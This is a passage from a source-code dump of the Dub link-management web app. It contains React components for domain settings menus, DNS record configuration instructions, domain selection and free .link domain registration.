setShowAddEditDomainModal(true)}\n        />\n        <Tooltip content=\"Refresh\">\n          <Button\n            icon={\n              <Refresh2\n                className={cn(\n                  \"h-4 w-4 shrink-0 -scale-100 transition-colors [animation-duration:0.25s]\",\n                  refreshProps.isValidating && \"animate-spin text-neutral-500\",\n                )}\n              />\n            }\n            variant=\"outline\"\n            className=\"h-8 rounded-none border-0 px-3 text-neutral-600\"\n            onClick={() => refreshProps.mutate()}\n          />\n        </Tooltip>\n        <Popover\n          content={\n            <div className=\"w-full sm:w-48\">\n              <div className=\"grid gap-px p-2\">\n                <p className=\"mb-1.5 mt-1 flex items-center gap-2 px-1 text-xs font-medium text-neutral-500\">\n                  Link Settings\n                </p>\n                <Button\n                  text=\"Edit Link\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowLinkBuilder(true);\n                  }}\n                  icon={<Hyperlink className=\"h-4 w-4\" />}\n                  disabledTooltip={\n                    !linkProps ? \"Retrieving link details...\" : undefined\n                  }\n                  className=\"h-9 justify-start px-2 font-medium\"\n                />\n                <Button\n                  text=\"QR Code\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowLinkQRModal(true);\n                  }}\n                  icon={<QrCode className=\"h-4 w-4\" />}\n                  disabledTooltip={\n                    !linkProps ? \"Retrieving link details...\" : undefined\n                  }\n                  className=\"h-9 justify-start px-2 font-medium\"\n                />\n                <Button\n                  text=\"Copy Link ID\"\n                  variant=\"outline\"\n                  onClick={() => copyLinkId()}\n                  icon={\n                    copiedLinkId ? (\n                      <CheckCircleFill className=\"h-4 w-4\" />\n                    ) : (\n                      <Copy className=\"h-4 w-4\" />\n                    )\n                  }\n                  disabledTooltip={\n                    !linkProps ? \"Retrieving link details...\" : undefined\n                  }\n                  className=\"h-9 justify-start px-2 font-medium\"\n                />\n              </div>\n              <div className=\"border-t border-neutral-200\" />\n              <div className=\"grid gap-px p-2\">\n                <p className=\"mb-1.5 mt-1 flex items-center gap-2 px-1 text-xs font-medium text-neutral-500\">\n                  Domain Settings\n                </p>\n                <Button\n                  text=\"Edit Domain\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowAddEditDomainModal(true);\n                  }}\n                  icon={<PenWriting className=\"h-4 w-4\" />}\n                  className=\"h-9 justify-start px-2 font-medium\"\n                />\n\n                {isDubProvisioned && (\n                  <Button\n                    text={\n                      !autoRenew ? \"Enable Auto-Renew\" : \"Disable Auto-Renew\"\n                    }\n                    variant=\"outline\"\n                    onClick={() => {\n                      setOpenPopover(false);\n                      openDomainRenewalModal(!autoRenew);\n                    }}\n                    icon={\n                      <Repeat\n                        className={cn(\n                          \"h-4 w-4\",\n                          !autoRenew ? \"text-green-600\" : \"text-red-600\",\n                        )}\n                      />\n                    }\n                    className=\"h-9 justify-start px-2 font-medium\"\n                  />\n                )}\n\n                {!primary && (\n                  <Button\n                    text=\"Set as Primary\"\n                    variant=\"outline\"\n                    onClick={() => {\n                      setOpenPopover(false);\n                      setShowPrimaryDomainModal(true);\n                    }}\n                    icon={<Flag2 className=\"h-4 w-4\" />}\n                    className=\"h-9 justify-start px-2 font-medium\"\n                  />\n                )}\n                {!isDubProvisioned && (\n                  <Button\n                    text=\"Transfer\"\n                    variant=\"outline\"\n                    onClick={() => {\n                      setOpenPopover(false);\n                      setShowTransferDomainModal(true);\n                    }}\n                    icon={<FolderInput className=\"h-4 w-4\" />}\n                    className=\"h-9 justify-start px-2 font-medium\"\n                    disabledTooltip={\n                      primary && activeDomainsCount > 1\n                        ? \"You cannot transfer your workspace's primary domain. Set another domain as primary to transfer this domain.\"\n                        : undefined\n                    }\n                  />\n                )}\n                <Button\n                  text={archived ? \"Unarchive\" : \"Archive\"}\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowArchiveDomainModal(true);\n                  }}\n                  icon={<Archive className=\"h-4 w-4\" />}\n                  className=\"h-9 justify-start px-2 font-medium\"\n                  disabledTooltip={permissionsError || undefined}\n                />\n                {!isDubProvisioned && (\n                  <Button\n                    text=\"Delete\"\n                    variant=\"danger-outline\"\n                    onClick={() => {\n                      setOpenPopover(false);\n                      setShowDeleteDomainModal(true);\n                    }}\n                    icon={<Delete className=\"h-4 w-4\" />}\n                    className=\"h-9 justify-start px-2 font-medium\"\n                    disabledTooltip={permissionsError || undefined}\n                  />\n                )}\n              </div>\n            </div>\n          }\n          align=\"end\"\n          openPopover={openPopover}\n          setOpenPopover={setOpenPopover}\n        >\n          <Button\n            variant=\"outline\"\n            className=\"h-8 rounded-none border-0 px-2 transition-[border-color] duration-200\"\n            icon={<ThreeDots className=\"h-5 w-5 shrink-0\" />}\n            onClick={() => {\n              setOpenPopover(!openPopover);\n            }}\n            {...(permissionsError && {\n              disabledTooltip: permissionsError,\n            })}\n          />\n        </Popover>\n      </motion.div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/domains/domain-configuration.tsx",
    "content": "import { DomainVerificationStatusProps } from \"@/lib/types\";\nimport { CircleInfo, CopyButton, TabSelect } from \"@dub/ui\";\nimport { cn, getSubdomain } from \"@dub/utils\";\nimport { Fragment, useState } from \"react\";\n\nexport default function DomainConfiguration({\n  data,\n}: {\n  data: { status: DomainVerificationStatusProps; response: any };\n}) {\n  const { domainJson, configJson } = data.response;\n  const subdomain = getSubdomain(domainJson.name, domainJson.apexName);\n  const [recordType, setRecordType] = useState(!!subdomain ? \"CNAME\" : \"A\");\n\n  if (data.status === \"Conflicting DNS Records\") {\n    return (\n      <div className=\"pt-5\">\n        <div className=\"flex justify-start space-x-4\">\n          <div className=\"ease border-b-2 border-black pb-1 text-sm text-black transition-all duration-150\">\n            {configJson?.conflicts.some((x) => x.type === \"A\")\n              ? \"A Record (recommended)\"\n              : \"CNAME Record (recommended)\"}\n          </div>\n        </div>\n        <DnsRecord\n          instructions=\"Please remove the following conflicting DNS records from your DNS provider:\"\n          records={configJson?.conflicts.map(\n            ({\n              name,\n              type,\n              value,\n            }: {\n              name: string;\n              type: string;\n              value: string;\n            }) => ({\n              name,\n              type,\n              value,\n            }),\n          )}\n        />\n        <DnsRecord\n          instructions=\"Afterwards, set the following record on your DNS provider:\"\n          records={[\n            {\n              type: recordType,\n              name: recordType === \"A\" ? \"@\" : subdomain ?? \"www\",\n              value: recordType === \"A\" ? `76.76.21.21` : `cname.dub.co`,\n              ttl: \"86400\",\n            },\n          ]}\n        />\n      </div>\n    );\n  }\n\n  if (data.status === \"Unknown Error\") {\n    return (\n      <div className=\"pt-5\">\n        <p className=\"mb-5 text-sm\">{data.response.domainJson.error.message}</p>\n      </div>\n    );\n  }\n\n  const txtVerification =\n    data.status === \"Pending Verification\"\n      ? domainJson.verification.find((x: any) => x.type === \"TXT\")\n      : undefined;\n\n  return (\n    <div className=\"pt-2\">\n      <div className=\"-ml-1.5 border-b border-neutral-200\">\n        <TabSelect\n          options={[\n            { id: \"A\", label: `A Record${!subdomain ? \" (recommended)\" : \"\"}` },\n            {\n              id: \"CNAME\",\n              label: `CNAME Record${subdomain ? \" (recommended)\" : \"\"}`,\n            },\n          ]}\n          selected={recordType}\n          onSelect={setRecordType}\n        />\n      </div>\n\n      <DnsRecord\n        instructions={`To configure your ${\n          recordType === \"A\" ? \"apex domain\" : \"subdomain\"\n        } <code>${\n          recordType === \"A\" ? domainJson.apexName : domainJson.name\n        }</code>, set the following ${txtVerification ? \"records\" : `${recordType} record`} on your DNS provider:`}\n        records={[\n          {\n            type: recordType,\n            name: recordType === \"A\" ? \"@\" : subdomain ?? \"www\",\n            value: recordType === \"A\" ? `76.76.21.21` : `cname.dub.co`,\n            ttl: \"86400\",\n          },\n          ...(txtVerification\n            ? [\n                {\n                  type: txtVerification.type,\n                  name: txtVerification.domain.slice(\n                    0,\n                    txtVerification.domain.length -\n                      domainJson.apexName.length -\n                      1,\n                  ),\n                  value: txtVerification.value,\n                },\n              ]\n            : []),\n        ]}\n        warning={\n          txtVerification\n            ? \"Warning: if you are using this domain for another site, setting this TXT record will transfer domain ownership away from that site and break it. Please exercise caution when setting this record; make sure that the domain that is shown in the TXT verification value is actually the <b><i>domain you want to use on Dub</i></b> – <b><i>not your production site</i></b>.\"\n            : undefined\n        }\n      />\n    </div>\n  );\n}\n\nconst MarkdownText = ({ text }: { text: string }) => {\n  return (\n    <p\n      className=\"prose-sm prose-code:rounded-md prose-code:bg-neutral-100 prose-code:p-1 prose-code:text-[.8125rem] prose-code:font-medium prose-code:font-mono prose-code:text-neutral-900 max-w-none\"\n      dangerouslySetInnerHTML={{ __html: text }}\n    />\n  );\n};\n\nconst DnsRecord = ({\n  instructions,\n  records,\n  warning,\n}: {\n  instructions: string;\n  records: { type: string; name: string; value: string; ttl?: string }[];\n  warning?: string;\n}) => {\n  const hasTtl = records.some((x) => x.ttl);\n\n  return (\n    <div className=\"mt-3 text-left text-neutral-600\">\n      <div className=\"my-5\">\n        <MarkdownText text={instructions} />\n      </div>\n      <div\n        className={cn(\n          \"scrollbar-hide grid items-end gap-x-10 gap-y-1 overflow-x-auto rounded-lg bg-neutral-100/80 p-4 text-sm\",\n          hasTtl\n            ? \"grid-cols-[repeat(4,max-content)]\"\n            : \"grid-cols-[repeat(3,max-content)]\",\n        )}\n      >\n        {[\"Type\", \"Name\", \"Value\"].concat(hasTtl ? \"TTL\" : []).map((s) => (\n          <p key={s} className=\"font-medium text-neutral-950\">\n            {s}\n          </p>\n        ))}\n\n        {records.map((record, idx) => (\n          <Fragment key={idx}>\n            <p key={record.type} className=\"font-mono\">\n              {record.type}\n            </p>\n            <p key={record.name} className=\"font-mono\">\n              {record.name}\n            </p>\n            <p key={record.value} className=\"flex items-end gap-1 font-mono\">\n              {record.value}{\" \"}\n              <CopyButton\n                variant=\"neutral\"\n                className=\"-mb-0.5\"\n                value={record.value}\n              />\n            </p>\n            {hasTtl && (\n              <p key={record.ttl} className=\"font-mono\">\n                {record.ttl}\n              </p>\n            )}\n          </Fragment>\n        ))}\n      </div>\n      {(warning || hasTtl) && (\n        <div\n          className={cn(\n            \"mt-4 flex items-center gap-2 rounded-lg p-3\",\n            warning\n              ? \"bg-orange-50 text-orange-600\"\n              : \"bg-indigo-50 text-indigo-600\",\n          )}\n        >\n          <CircleInfo className=\"h-5 w-5 shrink-0\" />\n          <MarkdownText\n            text={\n              warning ||\n              \"If a TTL value of 86400 is not available, choose the highest available value. Domain propagation may take up to 12 hours.\"\n            }\n          />\n        </div>\n      )}\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/domains/domain-selector.tsx",
    "content": "import useDomains from \"@/lib/swr/use-domains\";\nimport { Button, Combobox, Globe, StatusBadge } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ReactNode, useMemo, useRef, useState } from \"react\";\nimport { useAddEditDomainModal } from \"../modals/add-edit-domain-modal\";\n\ninterface DomainSelectorProps {\n  selectedDomain: string;\n  setSelectedDomain: (domain: string) => void;\n  disabled?: boolean;\n  disabledTooltip?: string | ReactNode;\n}\n\nexport function DomainSelector({\n  selectedDomain,\n  setSelectedDomain,\n  disabled = false,\n  disabledTooltip,\n}: DomainSelectorProps) {\n  const domainRef = useRef<HTMLDivElement>(null);\n  const [openPopover, setOpenPopover] = useState(false);\n  const { allWorkspaceDomains, loading } = useDomains();\n\n  const { AddEditDomainModal, setShowAddEditDomainModal } =\n    useAddEditDomainModal({\n      onSuccess: (domain) => {\n        setSelectedDomain(domain.slug);\n      },\n    });\n\n  const domainOptions = useMemo(() => {\n    return allWorkspaceDomains?.map((domain) => ({\n      value: domain.slug,\n      label: (\n        <div className=\"flex items-center justify-between gap-2\">\n          {domain.slug}\n          <StatusBadge variant={domain.verified ? \"success\" : \"error\"}>\n            {domain.verified ? \"Verified\" : \"Pending\"}\n          </StatusBadge>\n        </div>\n      ),\n      icon: <Globe className=\"size-4 rounded-full\" />,\n    }));\n  }, [allWorkspaceDomains]);\n\n  const selectedOption = useMemo(() => {\n    if (!selectedDomain) {\n      return null;\n    }\n\n    const domain = [...(allWorkspaceDomains || [])].find(\n      (d) => d.slug === selectedDomain,\n    );\n\n    if (!domain) {\n      return null;\n    }\n\n    return {\n      value: domain.slug,\n      label: (\n        <div className=\"flex items-center justify-between gap-2\">\n          {domain.slug}\n          <StatusBadge variant={domain.verified ? \"success\" : \"error\"}>\n            {domain.verified ? \"Verified\" : \"Pending\"}\n          </StatusBadge>\n        </div>\n      ),\n      icon: <Globe className=\"size-4 rounded-full\" />,\n    };\n  }, [allWorkspaceDomains, selectedDomain]);\n\n  return (\n    <>\n      <AddEditDomainModal />\n      <div ref={domainRef}>\n        <Combobox\n          options={loading ? undefined : domainOptions}\n          setSelected={(option) => {\n            setSelectedDomain(option?.value || \"\");\n          }}\n          selected={selectedOption}\n          icon={loading ? null : selectedOption?.icon}\n          caret={true}\n          placeholder={loading ? \"\" : \"Select domain\"}\n          searchPlaceholder=\"Search domain...\"\n          matchTriggerWidth\n          open={disabled ? false : openPopover}\n          onOpenChange={disabled ? undefined : setOpenPopover}\n          buttonProps={{\n            disabled,\n            disabledTooltip,\n            className: cn(\n              \"w-full justify-start border-neutral-300 px-3\",\n              \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n              \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n            ),\n          }}\n          emptyState={\n            <div className=\"flex w-full flex-col items-center gap-2 py-4\">\n              No domains found\n              <Button\n                onClick={() => {\n                  if (disabled) return;\n                  setOpenPopover(false);\n                  setShowAddEditDomainModal(true);\n                }}\n                variant=\"primary\"\n                className=\"h-7 w-fit px-2\"\n                text=\"Add custom domain\"\n                disabled={disabled}\n              />\n            </div>\n          }\n        >\n          {loading ? (\n            <div className=\"my-0.5 h-4 animate-pulse rounded bg-neutral-200\" />\n          ) : (\n            selectedOption?.label\n          )}\n        </Combobox>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/domains/free-dot-link-banner.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Grid, useLocalStorage } from \"@dub/ui\";\nimport { LinkBroken } from \"@dub/ui/icons\";\nimport { useRegisterDomainModal } from \"../modals/register-domain-modal\";\nimport { X } from \"../shared/icons\";\n\nexport function FreeDotLinkBanner() {\n  const { id: workspaceId } = useWorkspace();\n  const [show, setShow] = useLocalStorage(\n    `show-free-dot-link-banner:${workspaceId}`,\n    true,\n  );\n\n  const { RegisterDomainModal, setShowRegisterDomainModal } =\n    useRegisterDomainModal();\n\n  return (\n    show && (\n      <>\n        <RegisterDomainModal />\n        <div className=\"relative isolate flex flex-col justify-between gap-3 overflow-hidden rounded-lg border border-green-600/15 bg-gradient-to-r from-lime-100/80 to-emerald-100/80 py-3 pl-4 pr-12 sm:flex-row sm:items-center sm:py-2\">\n          <Grid\n            cellSize={13}\n            patternOffset={[0, -1]}\n            className=\"text-black/30 mix-blend-overlay [mask-image:linear-gradient(to_right,black,transparent)] md:[mask-image:linear-gradient(to_right,black_60%,transparent)]\"\n          />\n\n          <div className=\"flex items-center gap-3\">\n            <div className=\"hidden rounded-full border border-green-600/50 bg-white/50 p-1 shadow-[inset_0_0_1px_1px_#fff] sm:block\">\n              <LinkBroken className=\"m-px size-4 text-green-800\" />\n            </div>\n            <p className=\"text-sm text-neutral-900\">\n              Claim a free <span className=\"font-semibold\">.link</span> domain,\n              free for 1 year.{\" \"}\n              <a\n                href=\"https://dub.co/help/article/free-dot-link-domain\"\n                target=\"_blank\"\n                className=\"text-neutral-700 underline transition-colors hover:text-black\"\n              >\n                Learn more\n              </a>\n            </p>\n          </div>\n\n          <div className=\"flex items-center sm:-my-1\">\n            <button\n              type=\"button\"\n              className=\"whitespace-nowrap rounded-md border border-green-700/50 px-3 py-1 text-sm text-neutral-800 transition-colors hover:bg-green-500/10\"\n              onClick={() => setShowRegisterDomainModal(true)}\n            >\n              Claim Domain\n            </button>\n          </div>\n          <button\n            type=\"button\"\n            className=\"absolute right-2.5 top-2.5 p-1 text-sm text-green-700 underline transition-colors hover:text-green-900 sm:top-1/2 sm:-translate-y-1/2\"\n            onClick={() => setShow(false)}\n          >\n            <X className=\"size-[18px]\" />\n          </button>\n        </div>\n      </>\n    )\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/domains/register-domain-form.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  buttonVariants,\n  TooltipContent,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { LoadingSpinner } from \"@dub/ui/icons\";\nimport { cn, truncate } from \"@dub/utils\";\nimport { CircleCheck, Star } from \"lucide-react\";\nimport { FormEvent, useEffect, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { useDebounce } from \"use-debounce\";\nimport { AlertCircleFill, CheckCircleFill } from \"../shared/icons\";\nimport { ProBadgeTooltip } from \"../shared/pro-badge-tooltip\";\n\ninterface DomainSearchResult {\n  domain: string;\n  available: boolean;\n  price: string;\n  premium: boolean;\n}\n\nexport function RegisterDomainForm({\n  variant = \"default\",\n  saveOnly = false,\n  showTerms = true,\n  onSuccess,\n  onCancel,\n}: {\n  variant?: \"default\" | \"modal\";\n  saveOnly?: boolean; // Whether to only save the data without actually sending invites\n  showTerms?: boolean;\n  onSuccess: (domain: string) => void;\n  onCancel?: () => void;\n}) {\n  const workspace = useWorkspace();\n  const { isMobile } = useMediaQuery();\n  const [isSearching, setIsSearching] = useState(false);\n  const [isRegistering, setIsRegistering] = useState(false);\n  const [slug, setSlug] = useState<string | undefined>(undefined);\n  const [debouncedSlug] = useDebounce(slug, 500);\n  const [searchedDomains, setSearchedDomains] = useState<DomainSearchResult[]>(\n    [],\n  );\n\n  useEffect(() => {\n    setSlug(workspace.slug);\n  }, [workspace.slug]);\n\n  // Search for domain availability\n  const searchDomainAvailability = async () => {\n    setIsSearching(true);\n\n    const response = await fetch(\n      `/api/domains/search-availability?domain=${slug}.link&workspaceId=${workspace.id}`,\n    );\n\n    setIsSearching(false);\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      toast.error(error.message);\n      return;\n    }\n\n    const data = await response.json();\n\n    if (!Array.isArray(data)) {\n      toast.error(\"Failed to search for domain availability.\");\n      return;\n    }\n\n    setSearchedDomains(data);\n  };\n\n  // Search automatically when the debounced slug changes\n  useEffect(() => {\n    if (debouncedSlug?.trim()) searchDomainAvailability();\n  }, [debouncedSlug]);\n\n  // Register domain\n  const registerDomain = async (domain: string) => {\n    setIsRegistering(true);\n\n    const baseUrl = saveOnly\n      ? \"/api/domains/client/saved\"\n      : \"/api/domains/client/register\";\n\n    const response = await fetch(\n      `${baseUrl}?domain=${domain}&workspaceId=${workspace.id}`,\n      {\n        method: \"POST\",\n      },\n    );\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      toast.error(error.message);\n      setIsRegistering(false);\n      return;\n    }\n\n    if (saveOnly) {\n      toast.custom(() => <DomainSavedToast />, { duration: 7000 });\n    } else {\n      toast.success(\"Domain registered successfully!\");\n\n      // Mutate workspace, domains, and links\n      await mutatePrefix([\n        `/api/workspaces/${workspace.slug}`,\n        \"/api/domains\",\n        \"/api/links\",\n      ]);\n    }\n\n    onSuccess(domain.toLowerCase());\n  };\n\n  const searchedDomain = searchedDomains.find(\n    (d) => d.domain === `${slug}.link`.toLowerCase(),\n  );\n\n  const availableDomains = searchedDomains.filter(\n    (d) => d.domain !== `${slug}.link`.toLowerCase() && d.available,\n  );\n\n  return (\n    <form\n      onSubmit={async (e: FormEvent<HTMLFormElement>) => {\n        e.preventDefault();\n        // prevent the submission event from propagating to the parent form (in the link builder)\n        e.stopPropagation();\n        if (searchedDomain && searchedDomain.available) {\n          await registerDomain(searchedDomain.domain);\n        }\n      }}\n    >\n      <div\n        className={cn(\n          \"flex flex-col gap-y-6 text-left\",\n          variant === \"modal\" && \"px-4 sm:px-6\",\n        )}\n      >\n        <div>\n          <div className=\"flex items-center gap-2\">\n            <p className=\"block text-sm font-medium text-neutral-800\">\n              Search domains\n            </p>\n\n            {workspace.plan === \"free\" && variant === \"modal\" && (\n              <ProBadgeTooltip content=\"Search for a free .link domain to use for your short links. [Learn more.](https://dub.co/help/article/free-dot-link-domain)\" />\n            )}\n          </div>\n\n          <div className=\"mt-2\">\n            <div\n              className={cn(\n                \"-m-1 rounded-[0.625rem] p-1\",\n                searchedDomain\n                  ? searchedDomain.available\n                    ? \"bg-green-100\"\n                    : \"bg-orange-100\"\n                  : \"bg-neutral-100\",\n              )}\n            >\n              <div className=\"flex rounded-md border border-neutral-300 bg-white\">\n                <input\n                  name=\"domain\"\n                  id=\"domain\"\n                  type=\"text\"\n                  required\n                  autoComplete=\"off\"\n                  className=\"block w-full rounded-md rounded-r-none border-0 text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0 sm:text-sm\"\n                  aria-invalid=\"true\"\n                  autoFocus={!isMobile}\n                  placeholder={workspace.slug}\n                  value={slug || \"\"}\n                  onChange={(e) => {\n                    setSlug(e.target.value);\n                  }}\n                  onKeyDown={(e) => {\n                    if (e.key === \"Enter\") {\n                      e.preventDefault();\n                    }\n                  }}\n                />\n                <span className=\"inline-flex items-center rounded-md rounded-l-none bg-white pr-3 font-medium text-neutral-500 sm:text-sm\">\n                  .link\n                </span>\n              </div>\n\n              <AnimatedSizeContainer\n                height\n                transition={{ ease: \"easeInOut\", duration: 0.1 }}\n              >\n                <div className=\"flex justify-between gap-3 px-2 pb-2 pt-3 text-sm text-neutral-700\">\n                  <p>\n                    {searchedDomain ? (\n                      searchedDomain.available ? (\n                        <>\n                          <span className=\"font-semibold text-neutral-800\">\n                            {searchedDomain.domain}\n                          </span>{\" \"}\n                          is available. Claim your free domain before it's gone!\n                        </>\n                      ) : (\n                        <>\n                          <span className=\"font-semibold text-neutral-800\">\n                            {searchedDomain.domain}\n                          </span>{\" \"}\n                          is{\" \"}\n                          {searchedDomain.premium\n                            ? \"a premium domain, which is not available for free, but you can register it on Dynadot.\"\n                            : \"not available.\"}\n                        </>\n                      )\n                    ) : slug?.trim() ? (\n                      <>\n                        Checking availability for{\" \"}\n                        <strong className=\"font-semibold\">\n                          {truncate(`${slug}.link`, 25)}\n                        </strong>\n                      </>\n                    ) : (\n                      <>&nbsp;</>\n                    )}\n                  </p>\n                  {isSearching || (!searchedDomain && slug?.trim()) ? (\n                    <LoadingSpinner className=\"mr-0.5 mt-0.5 size-4 shrink-0\" />\n                  ) : searchedDomain ? (\n                    searchedDomain?.available ? (\n                      <CheckCircleFill className=\"size-5 shrink-0 text-green-500\" />\n                    ) : searchedDomain.premium ? (\n                      <Star\n                        className=\"size-5 shrink-0 text-amber-500\"\n                        fill=\"currentColor\"\n                      />\n                    ) : (\n                      <AlertCircleFill className=\"size-5 shrink-0 text-amber-500\" />\n                    )\n                  ) : null}\n                </div>\n              </AnimatedSizeContainer>\n            </div>\n          </div>\n        </div>\n\n        {searchedDomain &&\n          !searchedDomain.available &&\n          availableDomains.length > 0 && (\n            <div>\n              <h2 className=\"text-sm font-medium text-neutral-800\">\n                Available alternatives\n              </h2>\n              <div className=\"mt-2 overflow-hidden rounded-lg border border-neutral-200\">\n                <div className=\"flex flex-col divide-y divide-neutral-200\">\n                  {availableDomains.map((alternative) => (\n                    <div\n                      key={alternative.domain}\n                      className=\"flex items-center justify-between p-1.5 pl-3 focus:outline-none\"\n                    >\n                      <div className=\"flex items-center gap-2\">\n                        <CircleCheck className=\"size-5 fill-green-500 text-white\" />\n                        <span className=\"text-sm font-medium\">\n                          {alternative.domain}\n                        </span>\n                      </div>\n                      <Button\n                        text=\"Claim domain\"\n                        className=\"h-8 w-fit\"\n                        onClick={() => registerDomain(alternative.domain)}\n                        disabled={\n                          isRegistering ||\n                          (workspace.plan === \"free\" && !saveOnly)\n                        }\n                        disabledTooltip={\n                          workspace.plan === \"free\" && !saveOnly ? (\n                            <UpgradeTooltipContent />\n                          ) : undefined\n                        }\n                      />\n                    </div>\n                  ))}\n                </div>\n              </div>\n            </div>\n          )}\n\n        {searchedDomain && showTerms && variant === \"modal\" && (\n          <p className=\"-my-2 text-pretty text-center text-xs text-neutral-500\">\n            By claiming your .link domain, you agree to our{\" \"}\n            <a\n              href=\"https://dub.co/help/article/free-dot-link-domain#terms-and-conditions\"\n              target=\"_blank\"\n              rel=\"noopener noreferrer\"\n              className=\"underline transition-colors hover:text-neutral-700\"\n            >\n              terms\n            </a>\n            .<br />\n            After the first year, your renewal is $12/year.\n          </p>\n        )}\n      </div>\n      <div\n        className={cn(\n          \"mt-6 flex justify-end gap-2\",\n          variant === \"modal\" && \"border-t border-neutral-200 p-4 sm:px-6\",\n        )}\n      >\n        {onCancel && variant === \"modal\" && (\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            onClick={onCancel}\n          />\n        )}\n        {searchedDomain && searchedDomain.premium ? (\n          <a\n            href={`https://www.dynadot.com/domain/search?domain=${searchedDomain.domain}`}\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className={cn(\n              buttonVariants(),\n              \"flex h-9 w-full items-center justify-center rounded-md border px-4 text-sm\",\n              variant === \"modal\" && \"w-fit\",\n            )}\n          >\n            Register on Dynadot\n          </a>\n        ) : (\n          <Button\n            type=\"submit\"\n            text=\"Claim domain\"\n            className={cn(\"h-9\", variant === \"modal\" && \"w-fit\")}\n            disabled={!searchedDomain?.available}\n            loading={isRegistering}\n            disabledTooltip={\n              workspace.plan === \"free\" && !saveOnly ? (\n                <UpgradeTooltipContent />\n              ) : undefined\n            }\n          />\n        )}\n      </div>\n      {searchedDomain && showTerms && variant !== \"modal\" && (\n        <p className=\"mt-4 text-pretty text-center text-xs text-neutral-500\">\n          By claiming your .link domain, you agree to our{\" \"}\n          <a\n            href=\"https://dub.co/help/article/free-dot-link-domain#terms-and-conditions\"\n            target=\"_blank\"\n            rel=\"noopener noreferrer\"\n            className=\"underline transition-colors hover:text-neutral-700\"\n          >\n            terms\n          </a>\n          .<br />\n          After the first year, your renewal is $12/year.\n        </p>\n      )}\n    </form>\n  );\n}\n\nfunction UpgradeTooltipContent() {\n  const { slug } = useWorkspace();\n  return (\n    <TooltipContent\n      title=\"You can only claim a free `.link` domain on a Pro plan and above.\"\n      cta=\"Upgrade to Pro\"\n      onClick={() => window.open(`/${slug}/upgrade`)}\n    />\n  );\n}\n\nfunction DomainSavedToast() {\n  return (\n    <div className=\"flex items-center gap-1.5 rounded-lg bg-white p-4 text-sm shadow-[0_4px_12px_#0000001a]\">\n      <CheckCircleFill className=\"size-5 shrink-0 text-black\" />\n      <p className=\"text-[13px] font-medium text-neutral-900\">\n        Domain saved. You'll need a paid plan to complete the registration.{\" \"}\n        <a\n          href=\"https://dub.co/help/article/free-dot-link-domain\"\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          className=\"text-neutral-500 underline transition-colors hover:text-neutral-800\"\n        >\n          Learn more\n        </a>\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/dub-partners-logo.tsx",
    "content": "import { Wordmark } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nexport function DubPartnersLogo({ className }: { className?: string }) {\n  return (\n    <a\n      href=\"https://dub.co/partners\"\n      target=\"_blank\"\n      className={cn(\"flex flex-col items-center\", className)}\n    >\n      <Wordmark className=\"h-8\" />\n      <span className=\"text-sm font-medium text-neutral-700\">Partners</span>\n    </a>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/folders/add-folder-form.tsx",
    "content": "import { FOLDER_WORKSPACE_ACCESS } from \"@/lib/folder/constants\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { FolderAccessLevel, FolderSummary } from \"@/lib/types\";\nimport { FOLDER_MAX_DESCRIPTION_LENGTH } from \"@/lib/zod/schemas/folders\";\nimport {\n  BlurImage,\n  Button,\n  Tooltip,\n  TooltipContent,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { OG_AVATAR_URL } from \"@dub/utils\";\nimport { FormEvent, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { MarkdownDescription } from \"../shared/markdown-description\";\n\ninterface AddFolderFormProps {\n  onSuccess: (folder: FolderSummary) => void;\n  onCancel: () => void;\n}\n\nexport const AddFolderForm = ({ onSuccess, onCancel }: AddFolderFormProps) => {\n  const workspace = useWorkspace();\n  const [step, setStep] = useState(1);\n  const { isMobile } = useMediaQuery();\n  const [isCreating, setIsCreating] = useState(false);\n  const [name, setName] = useState<string | undefined>(undefined);\n  const [description, setDescription] = useState<string | undefined>(undefined);\n  const [accessLevel, setAccessLevel] = useState<FolderAccessLevel>(\"write\");\n\n  // Create new folder\n  const onSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    setIsCreating(true);\n\n    const response = await fetch(`/api/folders?workspaceId=${workspace.id}`, {\n      method: \"POST\",\n      body: JSON.stringify({\n        name,\n        description,\n        ...(accessLevel && { accessLevel }),\n      }),\n    });\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      toast.error(error.message);\n      setIsCreating(false);\n      return;\n    }\n\n    const folder = (await response.json()) as FolderSummary;\n\n    await mutate(`/api/folders?workspaceId=${workspace.id}`);\n    await mutate(`/api/folders/permissions?workspaceId=${workspace.id}`);\n    toast.success(\"Folder created successfully!\");\n    onSuccess(folder);\n  };\n\n  const { canManageFolderPermissions } = getPlanCapabilities(workspace.plan);\n\n  const 